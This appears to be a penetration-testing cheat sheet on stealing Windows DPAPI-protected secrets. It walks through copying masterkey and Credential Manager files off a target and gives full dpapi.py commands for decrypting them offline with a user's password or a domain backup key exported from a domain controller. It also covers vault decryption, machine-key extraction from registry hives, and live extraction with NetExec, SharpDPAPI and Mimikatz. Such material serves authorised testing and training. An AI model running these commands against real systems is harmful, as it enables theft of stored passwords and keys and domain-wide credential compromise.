Impacket dpapi
DPAPI (Data Protection API) is how Windows encrypts saved secrets at rest: Credential Manager entries, saved RDP/browser/Wi-Fi passwords, scheduled-task creds, vault items, and private keys. Each blob is encrypted with a per-user masterkey, and that masterkey is itself encrypted with (derived from) the user’s password + SID — or recoverable with the domain backup key if you own the DC. Steal the files, decrypt offline with Impacket’s dpapi.py.
The file locations (grab these first)
# user masterkeys
C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<masterkey-GUID>
# Credential Manager blobs
C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<GUID>
C:\Users\<user>\AppData\Local\Microsoft\Credentials\<GUID>
# Vault
C:\Users\<user>\AppData\Local\Microsoft\Vault\
Exfil them (SMB, scp, evil-winrm download). On the target, reveal hidden/system files: dir /a / Get-ChildItem -Force.
1. Decrypt the masterkey
The decrypted masterkey unlocks blobs that reference its GUID. One user can have multiple masterkeys; match each blob to the correct key.
# you know the user's cleartext password + their SID
dpapi.py masterkey \
-file '08949382-134f-4c63-b93c-ce52efc0aa88' \
-sid S-1-5-21-3927696377-1337352550-2781715495-1110 \
-password 'ExamplePassword!'
# -> Decrypted key: 0x<hex masterkey>
# password unknown but you own the DC: use the domain backup key (no password needed)
dpapi.py backupkeys -t domain.htb/administrator@dc.domain.htb -k -no-pass --export
dpapi.py masterkey -file '<masterkey>' -sid '<SID>' -pvk key.pvk
masterkey flag | Meaning |
|---|---|
-file | the masterkey file (named by GUID) |
-sid | the owning user’s SID (the dir name under Protect\) |
-password | that user’s cleartext password |
-pvk | domain backup private key (.pvk) — decrypts matching domain-backed user masterkeys |
-key | a raw masterkey you already have |
-system / -security | SYSTEM/SECURITY hives — for machine (LocalSystem) masterkeys |
-t, -k, -dc-ip | ask the DC to decrypt (online, Kerberos/creds) |
2. Decrypt the credential blob with that masterkey
dpapi.py credential \
-file '772275FAD58525253490A9B0039791D3' \
-key '0x<decrypted masterkey hex from step 1>'
# -> Username : svc_backup
# Unknown : <the cleartext password / secret>
credential flag | Meaning |
|---|---|
-file | the Credential Manager blob (GUID-named) |
-key | the decrypted masterkey from step 1 |
unprotect accepts a raw DPAPI blob. Windows Vault uses different flags and a policy-key step:
# Policy.vpol is protected by the matching DPAPI masterkey
dpapi.py vault -vpol Policy.vpol -key '0x<decrypted-masterkey>'
# Use the AES vault key printed by the policy step, not the DPAPI masterkey
dpapi.py vault -vcrd credential.vcrd -key '0x<vault-key-from-policy>'
If a Vault credential contains multiple encrypted attributes, the applicable policy key can differ. Inspect the policy output before trying keys.
Machine (SYSTEM) secrets
For secrets protected by LocalSystem (service accounts, some scheduled tasks), the masterkey is decrypted from the SYSTEM + SECURITY hives, not a user password:
# dump the hives first (reg save / secretsdump LOCAL), then:
dpapi.py masterkey -file '<machine-masterkey>' -system SYSTEM -security SECURITY
dpapi.py credential -file '<blob>' -key '0x<machine-masterkey>'
Faster path: let the tooling do it live
If you have an interactive context, these automate the find+decrypt:
# NetExec DPAPI module — pulls + decrypts user/system DPAPI secrets over the wire
netexec smb dc.domain.htb -u user -p pass --dpapi
# on-host (C#): SharpDPAPI / Mimikatz
# SharpDPAPI.exe credentials /password:<pw>
# mimikatz: dpapi::masterkey /in:<file> /sid:<sid> /password:<pw> then dpapi::cred /in:<blob>
[!tip] The two-step is the whole trick Masterkey →
-key→ credential. The GUID in a credential blob’s output often names which masterkey decrypts it; match the credential’s required masterkey GUID to the file underProtect\<SID>\.
[!warning] Watch out
- SID must match the masterkey owner — it’s the directory name under
Protect\, not a guess. Wrong SID = decryption fails silently.- Password must be the owner’s, at the time the masterkey was created — a since-changed password won’t decrypt old masterkeys (that’s what
credhist/ the backup key are for).- Domain backup key (
-pvk) is the master skeleton — it can decrypt domain-backed masterkeys from that domain without knowing the user passwords. Owning it = owning all stored creds.dpapi.py backupkeys --exportneeds DA-equivalent.0xprefix on-key— pass the decrypted masterkey exactly as step 1 printed it, including0x.- Machine vs user: a LocalSystem blob won’t decrypt with a user password; use
-system/-security.
Preserve the owner-to-key mapping
whoami /user
Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect"
Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials"
Inspect a credential file without -key to identify its referenced masterkey GUID. Keep the owner’s SID, masterkey GUID and original file path together; do not rename all GUID files to masterkey and lose that relationship.
Success: the credential decrypts into a meaningful target, identity and secret. A parsed header is not a decrypted credential. A domain backup key does not unlock unrelated local-user keys or every application-specific secret; browser application-bound encryption may require a different recovery path.
Capture only redacted decryption evidence in the report. Keep exported .pvk files and raw hives with the credential evidence, rather than publishing them as attachments.
See Also
- Impacket —
secretsdump.py LOCALto get the SYSTEM/SECURITY hives. - Windows Credential Flag Hunting — where DPAPI blobs and masterkeys live.
- Theft2: user certificate theft via DPAPI — DPAPI applied to stealing certs/keys.